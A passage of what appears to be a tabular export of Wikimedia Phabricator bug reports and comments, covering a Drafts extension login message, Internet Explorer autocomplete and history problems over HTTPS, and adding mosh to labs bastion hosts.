+A little further testing seems to indicate that the fault only occurs when I translate a page on a Wikipedia language version for which I have not yet changed my user preference on to not using HTTPS.",,,1382119030,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,False,,,7,True,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+57394,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","You must log in to view other pages.
+
+Return to Main Page.
+
+This is because:
+
+		// Make sure the user is logged in
+		if ( !$user->isLoggedIn() ) {
+			// If not, let them know they need to
+			$out->loginToUse();
+			// Continue
+			return;
+		}
+
+
+OutputPage::loginToUse: throw new PermissionsError( 'read' );
+
+which may not be applicable...
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Lowest,10.0,1381117680,1643540946.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,PHID-USER-mlp7cjyksjzemkdr5ued,False,PHID-TASK-ecy4xxktlmnaye5udfda,task_description,resolved,True,c2,3,False,False,False,5,True,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,1,0,0,0,1
+1628099,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","Change 638995 **merged** by jenkins-bot:
+[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message
+
+https://gerrit.wikimedia.org/r/638995",,,1607199129,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ecy4xxktlmnaye5udfda,task_subcomment,,True,c2,3,False,,,379,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+1611322,"If not logged in, [[Special:Drafts]] says you need to login to view other pages on the wiki","Change 638995 had a related patch set uploaded (by Jack Phoenix; owner: Jack Phoenix):
+[mediawiki/extensions/Drafts@master] When an anon accesses Special:Drafts, redirect them to Special:UserLogin instead of showing a potentially incorrect error message
+
+https://gerrit.wikimedia.org/r/638995",,,1604480934,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ecy4xxktlmnaye5udfda,task_subcomment,,True,c2,3,False,,,375,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,1
+55681,Explorer does not store history when using https,"To be more exact, it seems that Explorer only keeps track of history for as long as max-age allows.
+
+IE users are annoyed... :D
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53636",Lowest,10.0,1378131960,1449171326.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-fo56wm4wxiwpoofn2xdu,False,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_description,declined,True,c2,3,False,False,False,0,True,0,0,0,1,0,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,1,0,1
+572491,Explorer does not store history when using https,declined because we really can't do anything about it and also it's like a duplicate of T55636 which has also been suggested to be -> wontfix,,,1449171489,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c2,3,True,,,118,True,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,1
+257441,Explorer does not store history when using https,So tempted to close this INVALID...,,,1400654180,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c2,3,True,,,38,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+257439,Explorer does not store history when using https,"We could double check if our cache-control headers are really making sense everywhere, or if we should make it more flexible etc..
+
+Something else that might be worth investigating is history.pushState magic ?",,,1378202249,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c2,3,False,,,0,True,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,1,1,0,1
+257437,Explorer does not store history when using https,"Noting that (of course) we can't actually fix IE, so bar something like reverting to HTTP just for them (Err, yeah... /me barfs), this needs much poking of Microsoft to get something done...",,,1378199589,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-xaxjtwaqiq3jpolx7wa2,task_subcomment,,True,c2,3,True,,,0,True,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0
+55636,text input history/autocomplete doesn't work with HTTPS under IE8-10,"We have reports that since the HTTPS enabling, the autocomplete history of (most notably) the editsummary is no longer working for IE users.
+
+This seems to be caused by Explorer that actively enforces this when pages are served over https and set cache headers to private/must-revalidate
+
+http://webmasters.stackexchange.com/questions/2160/form-autocompletion-not-working/2455#2455
+
+http://stackoverflow.com/questions/364066/why-is-the-internet-explorer-autocomplete-feature-disabled-for-all-html-forms-on/364094#364094
+
+We might want to check if autocomplete=on bypassed the default setting, and consider adding that to the fields where we want people to have this available ?
+
+--------------------------
+**Version**: 1.22.0
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53681",Lowest,10.0,1377988680,1475504362.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,PHID-TASK-onqydqsd354curr7z7mb,task_description,declined,True,c2,3,False,False,False,0,True,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,1,1,1,1
+738056,text input history/autocomplete doesn't work with HTTPS under IE8-10,"Declining this task because (a) It's been open for 3 years with no resolution and (b) IE8-10 are no longer ""supported"" browsers at all on the Microsoft end of things for nearly a year now ( https://www.microsoft.com/en-us/WindowsForBusiness/End-of-IE-support ), so the rational response to any user complaint is to upgrade away from their vendor-unsupported browser to IE11 (or Chrome or FF, but not IE<11).",,,1475504362,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,True,,,161,True,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,0,1,1,0,1
+474111,text input history/autocomplete doesn't work with HTTPS under IE8-10,"I amended the title to the range IE8-10 because since late 2014 our HTTPS doesn't support IE6, therefore it's out of scope for any fix for this as well.",,,1434207367,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,True,,,93,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+473868,text input history/autocomplete doesn't work with HTTPS under IE8-10,"If I remember correctly this problem was at least with IE6, IE7 and IE8. I don't think i tested anything after that.
+
+Anecdotal evidence on WP:VP/T suggests that it affects IE6 through IE10. IE11 is the first that apparently (according to @TTO) is working on this front.",,,1434140114,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,93,True,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,1,0,0,1,0,1,0
+473647,text input history/autocomplete doesn't work with HTTPS under IE8-10,"If I remember correctly this problem was at least with IE6, IE7 and IE8. I don't think i tested anything after that.",,,1434116915,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,93,True,0,1,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0
+473627,text input history/autocomplete doesn't work with HTTPS under IE8-10,"After a quick test, autocomplete seems to work fine on HTTPS on IE11 under Windows 8.1 (Desktop). It's not clear which versions of IE are being referred to here.",,,1434114623,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,93,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+254752,text input history/autocomplete doesn't work with HTTPS under IE8-10,"I think some other sites workaround this problem by implementing their own autocomplete using local storage/cookies.
+
+That is something we could consider as well of course.",,,1382450340,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,7,True,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+254746,text input history/autocomplete doesn't work with HTTPS under IE8-10,Proposing WONTFIX/INVALID as per comment 6. :-/,,,1382121883,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,True,,,7,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+254738,text input history/autocomplete doesn't work with HTTPS under IE8-10,This is not likely to be fixed. It was designed by Microsoft to specifically behave like that.,,,1380273228,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+254729,text input history/autocomplete doesn't work with HTTPS under IE8-10,"I'm going to track this closely because I just asked this question at the pump...
+https://en.wikipedia.org/wiki/Wikipedia:Village_pump_(technical)#AutoComplete_.E2.80.93_forms
+and my buddy, Jimbo, assured me it would be fixed soon.  Well, that last part's not entirely true, but I do make a lot of edits that require the same edit summary, so this is a huge time bottleneck for me, and probably other contributors, as well.  Please fix this soon, especially since bug 54626 has not yet been resolved.",,,1380231319,,PHID-USER-kv35qmxnu67nstom6kg2,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,4,True,0,0,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,1,1,0,0,0
+254718,text input history/autocomplete doesn't work with HTTPS under IE8-10,"I have explored messing with the cache control settings, but in IE 10, i cannot see an indication that the cache headers are affecting the outcome here. I did have to use a self signed certificate, so it might be that would break the logic.
+
+The headers that get sent on the editpage are OutputPage:sendCacheControl() inside the $this->mEnableClientCache block, specifically the
+# We do want clients to cache if they can, but they *must* check for updates
+
+I'm not sure what else to try. I had forms autocomplete to on, storing 'encrypted pages' on. Unless we have more hints I'm not sure what else could fix this. Other than disabling https.",,,1378754859,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,0
+254709,text input history/autocomplete doesn't work with HTTPS under IE8-10,DJ: Do you have time to write a patch for this?,,,1378744181,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+254702,text input history/autocomplete doesn't work with HTTPS under IE8-10,"I tested forcing autocomplete=on in script and it does not seem to solve this.
+
+This: http://blogs.msdn.com/b/ieinternals/archive/2009/09/11/troubleshooting-stored-login-problems-in-ie.aspx?PageIndex=3
+says it's even specific to non-login forms. (huh wut ?)
+
+This: http://stackoverflow.com/questions/2240695/how-to-enable-autocomplete-when-using-internet-explorer-and-ssl
+suggests that removing no-cache from the cache-control headers fixes the problem. I wonder if max-age=0 (which is what we use) is interpreted by IE the same way as no-cache is, and if removing it would fix the problem
+
+I guess the above once again says a lot about Explorer engineering.
+
+(also, might this relate to the problem that some IE users have reported that their textarea contents have not been remembered if they go back in history ????)",,,1378130144,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+254698,text input history/autocomplete doesn't work with HTTPS under IE8-10,"with 'autocomplete=on', I mean the attribute autocomplete set to be explicitly on.",,,1377989368,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-onqydqsd354curr7z7mb,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,0,0,0,0,0
+54693,Allow login using mosh as an alternative to plain ssh on bastion,"ssh is quite painful over a slow and/or lossy connection. mosh uses ssh for authentication and then changes to it's own robust, udp based protocol. Quoting from the man page:
+
+mosh  (mobile  shell) is a remote terminal application that supports intermittent connectivity, allows roaming, and pro‐
+vides speculative local echo and line editing of user keystrokes.
+
+Compared with ssh, mosh is more robust — its connections stay up across sleeps and changes in the client's IP address  —
+and  more  responsive,  because  the protocol is tolerant of packet loss and the client can echo most keystrokes immedi‐
+ately, without waiting for a network round-trip.
+
+mosh uses ssh to establish a connection to the remote host  and  authenticate  with  existing  means  (e.g.,  public-key
+authentication  or a password). mosh executes the unprivileged mosh-server helper program on the server, then closes the
+SSH connection and starts the mosh-client, which establishes a long-lived datagram connection over UDP.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Lowest,10.0,1376117100,1456949493.0,PHID-USER-5dqihbanu3caaj7pigif,False,PHID-USER-3neel27i7dyu62jbbx2l,False,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_description,invalid,True,c2,2,False,False,False,-3,True,0,0,0,0,0,1,1,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,1,0,1,1,0,0,1,1,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,1,0
+621711,Allow login using mosh as an alternative to plain ssh on bastion,I am tossing this for now since mosh doesn't support the methodology used by labs in general.  What can be done was done but it's not very useful.,,,1456949493,,PHID-USER-3neel27i7dyu62jbbx2l,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,131,True,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+249291,Allow login using mosh as an alternative to plain ssh on bastion,"Still not merged, so we can't really do much.",,,1413537437,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,59,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+249286,Allow login using mosh as an alternative to plain ssh on bastion,"Considering we are dealing with keys, *definitely* the former!",,,1380191281,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+249282,Allow login using mosh as an alternative to plain ssh on bastion,"I checked out http://mailman.mit.edu/pipermail/mosh-devel/2013-May/000499.html and that actually works! So either that gets merged, or we make a patched package.
+
+Hopefully the former :D",,,1380191249,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0
+249278,Allow login using mosh as an alternative to plain ssh on bastion,"Yeah, and you want mosh in client -> bastion, since that is the flaky part. If you need mosh from bastion to target host, you've bigger problems...",,,1380176994,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1
+249275,Allow login using mosh as an alternative to plain ssh on bastion,"mosh is indeed only reasonably useful for instances with a public IP:  while you can proxycommand the mosh invocation itself, your local client won't be able to connect to the started mosh-server unless it is reachable.",,,1380137483,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,1,1,1,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,1,0,0,0,0
+249273,Allow login using mosh as an alternative to plain ssh on bastion,"We now have mosh installed on the labs bastions (and Coren graciously opened up the relevant ports), and can mosh to the bastions!
+
+However....
+
+Because of mosh's lack of support for proxycommand or equivalent, we can't really use bastions to access the rest of labs. So we can mosh to the bastion, and... that is pretty much it. Quite useless, IMO :(",,,1380136951,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,4,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+249269,Allow login using mosh as an alternative to plain ssh on bastion,"Change 84105 merged by Akosiaris:
+Add mosh to labs bastions
+
+https://gerrit.wikimedia.org/r/84105",,,1379355551,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249265,Allow login using mosh as an alternative to plain ssh on bastion,"Change 84105 had a related patch set uploaded by Yuvipanda:
+Add mosh to labs bastions
+
+https://gerrit.wikimedia.org/r/84105",,,1379029401,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+249262,Allow login using mosh as an alternative to plain ssh on bastion,"Change 84024 merged by coren:
+Add mosh to bastion hosts
+
+https://gerrit.wikimedia.org/r/84024",,,1379028202,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+249258,Allow login using mosh as an alternative to plain ssh on bastion,https://gerrit.wikimedia.org/r/#/c/84024/ perhaps? Not sure if we need to open up any ports or just installing the package is enough?,,,1379011169,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,2,True,1,0,0,0,1,1,1,0,0,1,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,0,0
+249254,Allow login using mosh as an alternative to plain ssh on bastion,"Change 84024 had a related patch set uploaded by Yuvipanda:
+Add mosh to bastion hosts
+
+https://gerrit.wikimedia.org/r/84024",,,1379011106,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,False,,,2,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+249247,Allow login using mosh as an alternative to plain ssh on bastion,*** Bug 49454 has been marked as a duplicate of this bug. ***,,,1379011061,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-hnwvtmwgpm2oisoqaozt,task_subcomment,,True,c2,3,True,,,2,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
